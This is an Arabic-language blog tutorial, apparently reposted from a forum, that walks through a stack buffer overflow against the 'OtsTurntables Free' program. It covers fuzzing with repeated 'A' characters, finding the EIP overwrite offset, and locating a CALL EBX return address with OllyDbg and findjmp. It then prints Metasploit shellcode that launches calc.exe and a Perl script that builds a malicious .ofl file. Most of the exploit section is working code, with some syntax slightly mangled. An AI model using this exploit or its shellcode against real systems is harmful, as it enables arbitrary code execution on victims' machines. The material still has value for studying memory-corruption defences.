بحث هذه المدونة الإلكترونية

Home » , » درس حول الفيض overflow

درس حول الفيض overflow

بسم الله الرحمن الرحيم 
حبيت اليوم انزل درس من شرحي بهذا المنتدى الجميل الذي تعلمت منه الكثير 
بعد ملاحظة الخمول الذي يمر به 
اتركم مع الدرس 
مقدمة:
عندما يحاول المعلج ادخال بيانات اكثر من استطاعته(اكثر من المفروض)
ينتج عندها ما يسمى بالبيانات الزائدة 
هذا يؤدي الى الكتابة فوق الذاكرة او حتى تحطم البرنامج أي عمل كراش
فيض المكدس:
يحدث فيض للمكدس عندما تتم معالجة بيانات زائدة للاتصال بالمكدس(data used for stack calling)
مما يسبب تخريب البرنامج. وهذا التخريب يمكن الاستفادة منه....
ايجاد الثغرة <الضعف:>
بهذا المثال سيتم الشرح على البرنامج التالي "OtsTurntables Free"
نفتح البرنامج olly
لنبدأ بادخال 1000 A

1- المسجل الذي تكتب به بياناتنا//سيتم استبداله بالشل كود الخاص بنا EBX//
EIP -2 يدل على التعلية الحالية -> يمكننا استخدامه ليشير إلى عنوان الشل كود الخاص بنا في المسجل EBX
3- المكدس -> حدث له فيض بالرقم41414141
4- حدوث خطأ عند معالجى العنوان 41414141 ->حدث فيض للمسجل EIPفهو لا يستطيع الوصول للعنوان 4141414
الان سنقوم بايجاد العدد المناسب من حرف A ، لاحداث الفيض في هذا البرنامج 
دعنا نجرب
كود PHP:
"800" "400" "300" "200" A  
لم يحدث فيض للمسجل EIP إذا بين 200 و 300
لنجرب 250 
ثم بين 250 & 300
نجرب 276
نجرب 280

دعنا نغير أخر أربع حروف و نستبدلها بالحرف B

إذا العدد 281 يحدث فيض في المكدس مما يؤدي إلى تغيير عنوان المسجل EIP ويجعله ييشير إلى العنوان 42424241
استثمار الثغرة:
ألان دعنا نجمع معلوما حول هذا الفيض ....

كما نرى ..
البيانات المدخلة موجودة في المسجل EBX , اذا الشل كود الخاص بنا سوف يكون في EBX
بما ان البيانات المدخلة موجودة في المسجل EBX بالتالي سنجعل المسجل EIP يشير الى EBX 
بنية الاستثمار:
كود PHP:
junkdata nops shellcode newEIP  
1-junkdata :البيانات الزائدة التي سنحدث بها فيض المكدس ....
2- NOPS :نحن بحاجته دائما حتى لو كان بايت واحد .......
3-shellcode :الكود الذي سينفذ امر (دالة) معينة مثل 
cmd exec /bindshell /dll& exec
4-new EIP :العنوان الذي سيدل على المسجل EBX
ان حجم الفيض (الاوفر فلو)=284
سنقسمه على الشكل التالي:
4 بايت لعنوان EIP الجديد
160 بايت للشل كود
20 بايت ل NOP
97 بايت للبيانات الزائدة junk data


بناء الاستثمار::
-البيانات الزائدة
-ستكون على الشكل التالي 
كود PHP:
"\x41" x 97  
3-NOPS :ستكون على الشكل التالي:
كود PHP:
"\x90" x 20  
90 بالهكس = NOP أي لاشيء
كود PHP:
4-shell code (exec CMD)   : هذا الشل كود يشغل برنامج الالة الحاسبة calc.exe "\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x61" 
"\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xc0\x7c\x56\x61\x28\xb3\x13" 
"\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x1f" 
"\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b" 
"\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30" 
"\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xa1\x64\x72" 
"\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd" 
"\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e" 
"\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52" 
"\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56"
تم الحصول علية من موقع ميتا سبلويت 
يمكنك الحصول على شل كود خاص بك من الرابط التالي
:  
[
code]http://metasploit.com:55555/PAYLOADS?MODE=SELECT&MODULE=win32_exec[/code] 5-new EIP ان عنوان EIP الجديد يجب ان يشير الى EBX 
لذالك سنقوم بالبحث عن أي عنوان يشير الى EBX 
البحث عن طريق olly 
.... 
  
اكتب في مربع البحث EBX jmp   او  call  EBX 
لم نجد أي قفزة ل EBX    في مثالنا  
لكننا وجدنا   call EBX 
  
"004015E4"هذا هو عنوان العودة المنشود 
يتم كتابته عكسيا  بالشكل التالي
.. "\xE4\x15\x40\x00" 
استعمال الاداة FINDJMP عبارة عن اداة تستعمل للبحث عن القفزات في ويندوز موديلزwindows modules 
مثل kernel32
.dll 
مثال   findjump
.exe kernel32.dll ebx 
  
كما ترة استطعنا ايجاد عناوين كتيرة 

كتابة الاستثمار
:: لدينا الان كل المتطلبات لكتاية الاستثمار  
انا افضل كتابة الاستثمار بلغة البيرل 
#!/usr/bin/perl -w 
# Define Variables 
my $junk "\x41" x 97#junkdata my $nop "\x90" x 20 # nops my $ret "\xE4\x15\x40\x00" # New EIP 
# ShellCode , thanks metasploit 
my $shellcode "\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x61""\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xc0\x7c\x56\x61\x28\xb3\x13""\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x1f""\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b""\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30""\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xa1\x64\x72""\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd""\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e""\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52""\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56"my $exploit "$junk.$nop.$shellcode.$ret"#exploit structure my $file "dark.ofl" #file name 
## simple file handling 
open(my $FILE">$file") or die "Cannot open $file: $!"
print 
$FILE $exploit close($FILE); 
print 
"Done \n";  
انتهى بحمد الله
ملاحظة الى اصحاب القص واللصق:
انا تعبت كثيرا في انشاء هذا الشررح 
واذا كان عندكم ضمير الرجاء حفظ الحفوق
اخوكم Dark
سلام 



www.the3kira.blogspot.com : المصدر
إذا أعجبك الموضوع اضغط هنا, أو ضع إيميلك هنا ليصلك كل الجديد


ضع تعليقك

0 commentaires:

إرسال تعليق

 
Copyleft © 2011. مدونة الهكر الاخلاقي العربي - All lefts Reserved
تعريب the3kira